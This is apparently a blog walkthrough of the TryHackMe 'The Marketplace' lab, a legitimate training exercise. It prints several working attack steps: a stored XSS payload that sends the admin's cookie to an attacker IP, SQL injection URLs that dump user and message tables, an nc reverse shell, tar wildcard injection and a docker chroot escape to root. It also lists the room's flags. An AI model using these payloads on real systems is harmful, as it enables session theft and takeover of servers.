In this walk through, we will be going through the The Marketplace room from Tryhackme. This room is rated as Medium on the platform and the sysadmin of The Marketplace has given us access to an internal server of his, so we can pentest the marketplace platform on which he and his team has been working on and gain root access on the server. So, let’s get started without any delay.
Table of Contents
Machine Info:
Title | The Marketplace |
IPaddress | 10.10.82.146 |
Difficulty | Medium |
Objective | The sysadmin of The Marketplace, Michael, has given you access to an internal server of his, so you can pentest the marketplace platform he and his team has been working on. He said it still has a few bugs he and his team need to iron out. |
Enumeration:
- I started off with my regular nmap ritual and found three ports opened – 22 (SSH), 80 (HTTP) and 32768 (HTTP).
sudo nmap -sS -sV 10.10.63.210
- Next, i started to enumerate the running web servers. Both the web servers running were identical. I am not sure how express works over node.js, maybe an implementation thing. Anyways, i moved forward to enumerate the one on port 80 and found a shopping application running.
- There are a lot of possibilities for attack vectors on the platform as it has some listings, a login and signup page and a report and message functionality.
- I stuck to the basics and fired up gobuster on the server to reveal some sensitive directories. Found nothing ground breaking but had an interesting one – /admin. Navigating to that gives us a access denied message. It probably is checking our cookies to allow access.
wh1terose@fsociety:~$ gobuster dir -u http://10.10.63.210/ -w ~/Desktop/Wordlist/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.63.210/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /home/wh1terose/Desktop/Wordlist/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/11/15 22:47:08 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 153] /.htpasswd (Status: 403) [Size: 153] /.hta (Status: 403) [Size: 153] /ADMIN (Status: 403) [Size: 392] /Admin (Status: 403) [Size: 392] /Login (Status: 200) [Size: 857] /admin (Status: 403) [Size: 392] /images (Status: 301) [Size: 179] [--> /images/] /login (Status: 200) [Size: 857] /messages (Status: 302) [Size: 28] [--> /login] /new (Status: 302) [Size: 28] [--> /login] /robots.txt (Status: 200) [Size: 31] /signup (Status: 200) [Size: 667] /stylesheets (Status: 301) [Size: 189] [--> /stylesheets/] =============================================================== 2023/11/15 22:48:51 Finished ===============================================================
- Further, i moved to do some digging on login and sign up page. Initially, i tried to perform authentication bypass via SQL injection however was unable to do so. Next, i tried to create a user with named ” jake” (with a space) as we know from the listings it is an existing user on the system and the authentication form is also susceptible to user enumeration.
- The user was created successfully however it does logged me in as ” jake” (with a space) rather than the existing user jake, Nevermind.
- Moving on, i looked around the dashboard with the access we have and i got a new listing tab where we can add new listing. This required a title, description and a file to upload as an image. The upload functionality was disabled, i thought first to bypass the client side restrictions and upload a reverse shell however was unable to get through. Next, i tried the below payload in the description to check for stored XSS as we can view the listings later.
<img src=x onerror=alert(1)>
- Once i have a look on the new listing, my code get executed and popped-up an alert. Bingo!
Exploiting XSS to get admin:
- Beneath the listing, we have a report button where we can report the listing to admin regarding any abuse and the admin will check it and reply us in our messages whatever findings it got. That means, we can trick admin to run our malicious code and grab its cookie value. I used the below payload to grab the cookie value of the admin once it visited the page and send it to my controlled server on the IP below.
<script>new Image().src="http://10.18.1.78:1234/bogus.php?output="+document.cookie;</script>
- Clicked on the “Report listing to admins” button.
- Got a message back from the admin.
- At our netcat listener, got the admin’s token value in the output.
wh1terose@fsociety:~$ nc -lvnp 1234 Listening on 0.0.0.0 1234 Connection received on 10.10.63.210 37258 GET /bogus.php?output=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDAwNjgxMjN9.i0pmk0UtvZR2eiGWrf4qlqT5bZnNCOZA03Rj410tlzA HTTP/1.1 Host: 10.18.1.78:1234 Connection: keep-alive User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36 Accept: image/webp,image/apng,image/*,*/*;q=0.8 Referer: http://localhost:3000/item/28 Accept-Encoding: gzip, deflate Accept-Language: en-US
- I checked the admin JWT token value here and found out that the token value belongs to user “michael” and the admin attribute is set to true.
- Intercepted the request to the admin page via Burpsuite, changed the token value to that of admin and got access to the admin panel.
- In the admin dashboard, got our flag 1.
- Next, upon checking the Users, we have a delete user button alongside some attributes. Notice the user id on top. I inserted an apostrophe at the end of it and got a SQL error. Nice!
Exploiting SQL Injection:
- I tried sqlmap to exploit the vulnerabiltiy but was unabled to do so for some reason. So, i enumerated and exploited it manually. Starting with finding the number of columns, i used the order by clause and got an error at 5 but was successful at 4. That means, we are dealing with 4 columns here.
http://10.10.63.210/admin?user=1%20order%20by%205%20--
http://10.10.63.210/admin?user=1%20UNION+SELECT+%27asds%27,NULL,NULL,NULL--
- Next, enumerated the database name using the below command. The results shows “marketplace” as the DB.
http://10.10.63.210/admin?user=100%20union%20select%20database(),null,null,null
- Let’s enumerate the tables names from the marketplace DB using the below command. Got an interesting result for users.
http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(table_name),2,3,4%20FROM%20information_schema.tables%20WHERE%20table_schema%20=%27marketplace%27
- Let’s dump the column names from user table. Got 4 columns – id, username, password, isAdministrator.
http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(column_name),2,3,4%20FROM%20information_schema.columns%20WHERE%20table_name=%27users%27
- Dumped all the column names, and found a password hash. Tried to crack it but no luck.
http://10.10.63.210/admin?user=100%20union%20SELECT%20username,password,isAdministrator,4%20from%20users
- Next, i enumerated the messages table and found interesting columns.
http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(column_name),2,3,4%20FROM%20information_schema.columns%20WHERE%20table_name=%27messages%27
- Dumping the columns gives us a temporary SSH password that belongs to user jake.
http://10.10.63.210/admin?user=100%20union%20SELECT%20group_concat(id,0x3a,is_read,0x3a,message_content,0x3a,user_from,0x3a,user_to%20),2,3,4%20from%20messages
@b_ENXkGYUCAv3zJ
Initial Access:
- Used the found password to login as jake via SSH which got our initial access on the server and the user flag.
- Next, i used the below command to check if we can execute command as sudo and found a script called backup.sh in /opt/backups directory that can be run as user michael without providing any password.
sudo -l
- Looked in to the script and found out that it is using tar to backup all the files in the directory to backup.tar. Pretty interesting as it does not which files rather it use the wildcard character.
- In order to exploit, i generated a file named shell.sh with the below reverse shell payload.
#!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.50.72 4444 >/tmp/f
- Next, i used the GTFObins tar documentation to set a checkpoint for our shell.sh once it got executed by user michael as per our command.
jake@the-marketplace:~$ chmod +x /opt/backups/shell.sh jake@the-marketplace:~$ touch "/opt/backups/--checkpoint=1" jake@the-marketplace:~$ touch "/opt/backups/--checkpoint-action=exec=sh shell.sh" jake@the-marketplace:~$ cd /opt/backups/ jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
- I got an error when i executed with backup.tar for some reason. So changed its name to bk.tar and re-run it and this time we got our shell back.
Privilege Escalation:
- In the home folder, there is a directory called marketplace where we have a startup.sh file which indicates that the application is running on docker.
- I checked the status of the docker image with the below command and the alpine stood out to me instantly.
docker image ls
- I used GTFObins docker exploit to exploit the docker instance and break out of it to get root. Initially it gave me a TTY error. So i used python tty to set up the required environment and re-run it which gave me the root shell and eventually the flag too.
michael@the-marketplace:/home/marketplace$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh the input device is not a TTY alpine chroot /mnt sh michael@the-marketplace:/home/marketplace$ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' michael@the-marketplace:/home/marketplace$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh chroot /mnt sh/:/mnt --rm -it alpine c # id id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) # cat /root/root.txt cat /root/root.txt THM{d4f76179c80c0dcf46e0f8e43c9abd62}
Task 1 – The Marketplace
Question 1 – What is flag 1?
THM{c37a63895910e478f28669b048c348d5}
Question 2 – What is flag 2? (User.txt)
THM{c3648ee7af1369676e3e4b15da6dc0b4}
Question 3 – What is flag 3? (Root.txt)
THM{d4f76179c80c0dcf46e0f8e43c9abd62}
Also Read: Tryhackme – Pwnkit: (CVE-2021-4034)
Conclusion:
So that was “The Marketplace” for you. We first started with a regular nmap scan and found three ports opened – 22 (SSH), 80 (HTTP) and 32768 (HTTP). Next, enumerated the web server and created an account on the Marketplace platform running on port 80. Logged into the account and found a stored XSS vulnerability in New listing section. Next, leveraged the XSS vulnerability to trick the admin and got his cookie token value. Using the captured cookie value, got into the admin dashboard. Once inside the dashboard, found out that the application is throwing an error while accessing the user ID in delete user page. So, enumerated it and dumped the columns consisting an email where a temporary SSH password was mentioned. Got our initial access via SSH and looked for any sudo misconfiguration. Found out that we can run a bash script named backup.sh as user michael without any password. Next, changed the content of the script file with our reverse shell and got a shell back as user michael. Moving on, checked a file named startup.sh in marketplace home directory where it reveled that the application is using a docker instance. Exploited the running docker image using an exploit from GTFOBins and got the root flag and independence from Russian invasion. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.